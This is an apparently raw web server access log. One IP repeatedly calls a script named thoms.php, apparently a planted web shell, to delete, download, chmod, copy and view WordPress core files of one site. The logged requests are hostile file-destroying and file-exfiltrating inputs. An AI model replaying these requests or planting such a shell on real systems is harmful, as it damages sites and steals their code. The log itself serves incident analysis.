45.135.193.11 - - [11/Sep/2026:23:43:02 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-http-encoding.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-http-encoding.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:02 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=default-filters.php HTTP/1.1" 200 23186 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=default-filters.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:02 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=json-schema.php HTTP/1.1" 200 14414 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=json-schema.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:02 -0400] "GET /thoms.php?del=ai-client.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59232 "http://163.245.207.76:443/thoms.php?del=ai-client.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:03 -0400] "GET /thoms.php?chmod=class-wp-user-request.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user-request.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:02 -0400] "GET /thoms.php?dl=class-walker-page.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59246 "http://163.245.207.76:443/thoms.php?dl=class-walker-page.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:02 -0400] "GET /thoms.php?del=class-wp-textdomain-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=class-wp-textdomain-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:03 -0400] "GET /thoms.php?chmod=widgets.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=widgets.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:03 -0400] "GET /thoms.php?chmod=compat-utf8.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=compat-utf8.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:03 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=block-editor.php HTTP/1.1" 200 20142 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=block-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:03 -0400] "GET /thoms.php?del=class-snoopy.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?del=class-snoopy.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:03 -0400] "GET /thoms.php?chmod=blocks.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=blocks.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:03 -0400] "GET /thoms.php?del=registration.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59204 "http://163.245.207.76:443/thoms.php?del=registration.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:04 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-walker-page-dropdown.php HTTP/1.1" 200 13112 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-walker-page-dropdown.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:03 -0400] "GET /thoms.php?del=category-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?del=category-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:04 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-icons-registry.php HTTP/1.1" 200 14894 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-icons-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:04 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-rewrite.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-rewrite.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:04 -0400] "GET /thoms.php?del=class-wp-block-bindings-source.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=class-wp-block-bindings-source.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:04 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=cache.php HTTP/1.1" 200 14896 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:04 -0400] "GET /thoms.php?chmod=class-walker-page.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=class-walker-page.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:04 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-customize-nav-menus.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11896 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-customize-nav-menus.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:04 -0400] "GET /thoms.php?chmod=class-wp-url-pattern-prefixer.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11543 "http://163.245.207.76:443/thoms.php?chmod=class-wp-url-pattern-prefixer.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:04 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2FIXR&p= HTTP/1.1" 200 12411 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2FIXR&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:04 -0400] "GET /thoms.php?del=comment-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59223 "http://163.245.207.76:443/thoms.php?del=comment-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:04 -0400] "GET /thoms.php?dl=date.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=date.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:04 -0400] "GET /thoms.php?del=fonts&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59223 "http://163.245.207.76:443/thoms.php?del=fonts&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:05 -0400] "GET /thoms.php?chmod=widgets&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=widgets&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:05 -0400] "GET /thoms.php?dl=class-wp-role.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59228 "http://163.245.207.76:443/thoms.php?dl=class-wp-role.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:05 -0400] "GET /thoms.php?del=class-wp-scripts.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=class-wp-scripts.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:05 -0400] "GET /thoms.php?del=class-wp-term.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59051 "http://163.245.207.76:443/thoms.php?del=class-wp-term.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:05 -0400] "GET /thoms.php?del=error-protection.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=error-protection.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:06 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ferror-protection.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ferror-protection.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:06 -0400] "GET /thoms.php?chmod=certificates&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=certificates&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:06 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=block-template.php HTTP/1.1" 200 18596 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=block-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:06 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block-supports.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block-supports.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:06 -0400] "GET /thoms.php?del=theme-compat&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?del=theme-compat&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:06 -0400] "GET /thoms.php?chmod=class-wp-token-map.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-token-map.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:06 -0400] "GET /thoms.php?dl=class-wp-block-type.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59216 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-type.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:06 -0400] "GET /thoms.php?dl=class-wp-http-encoding.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59107 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-encoding.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:07 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block-parser.php HTTP/1.1" 200 15827 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block-parser.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:07 -0400] "GET /thoms.php?dl=feed-rss.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59234 "http://163.245.207.76:443/thoms.php?dl=feed-rss.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:07 -0400] "GET /thoms.php?del=class-walker-page-dropdown.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59236 "http://163.245.207.76:443/thoms.php?del=class-walker-page-dropdown.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:07 -0400] "GET /thoms.php?dl=class-wp-script-modules.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59206 "http://163.245.207.76:443/thoms.php?dl=class-wp-script-modules.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:07 -0400] "GET /thoms.php?del=feed.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59154 "http://163.245.207.76:443/thoms.php?del=feed.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:08 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fms-settings.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11871 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fms-settings.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:07 -0400] "GET /thoms.php?dl=ms-default-constants.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=ms-default-constants.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:08 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Frevision.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Frevision.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:08 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&settings=1 HTTP/1.1" 200 11919 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:08 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fcapabilities.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fcapabilities.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:08 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-http-encoding.php HTTP/1.1" 200 14306 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-http-encoding.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:08 -0400] "GET /thoms.php?del=theme-i18n.json&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=theme-i18n.json&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:08 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-recovery-mode-key-service.php HTTP/1.1" 200 13494 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-recovery-mode-key-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:08 -0400] "GET /thoms.php?del=cache-compat.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59223 "http://163.245.207.76:443/thoms.php?del=cache-compat.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:09 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-walker-category-dropdown.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-walker-category-dropdown.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:09 -0400] "GET /thoms.php?dl=class-wp-roles.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59219 "http://163.245.207.76:443/thoms.php?dl=class-wp-roles.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:09 -0400] "GET /thoms.php?dl=class-wp-textdomain-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=class-wp-textdomain-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:09 -0400] "GET /thoms.php?del=class-wp.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?del=class-wp.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:09 -0400] "GET /thoms.php?dl=feed-atom-comments.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59222 "http://163.245.207.76:443/thoms.php?dl=feed-atom-comments.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:09 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=functions.php HTTP/1.1" 200 105448 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:10 -0400] "GET /bestjudy.com.tw/wp-includes HTTP/1.1" 301 795 "http://163.245.207.76:443/bestjudy.com.tw/wp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:10 -0400] "GET /bestjudy.com.tw/wp-includes/ HTTP/1.1" 200 9327 "https://163.245.207.76:443/bestjudy.com.tw/wp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:09 -0400] "GET /thoms.php?dl=functions.wp-scripts.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?dl=functions.wp-scripts.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:10 -0400] "GET /thoms.php?chmod=class-wp-application-passwords.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-wp-application-passwords.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:10 -0400] "GET /thoms.php?del=customize&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59217 "http://163.245.207.76:443/thoms.php?del=customize&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:10 -0400] "GET /thoms.php?dl=block-i18n.json&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59240 "http://163.245.207.76:443/thoms.php?dl=block-i18n.json&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:10 -0400] "GET /thoms.php?dl=class-wp-application-passwords.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59216 "http://163.245.207.76:443/thoms.php?dl=class-wp-application-passwords.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:10 -0400] "GET /thoms.php?chmod=feed.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=feed.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
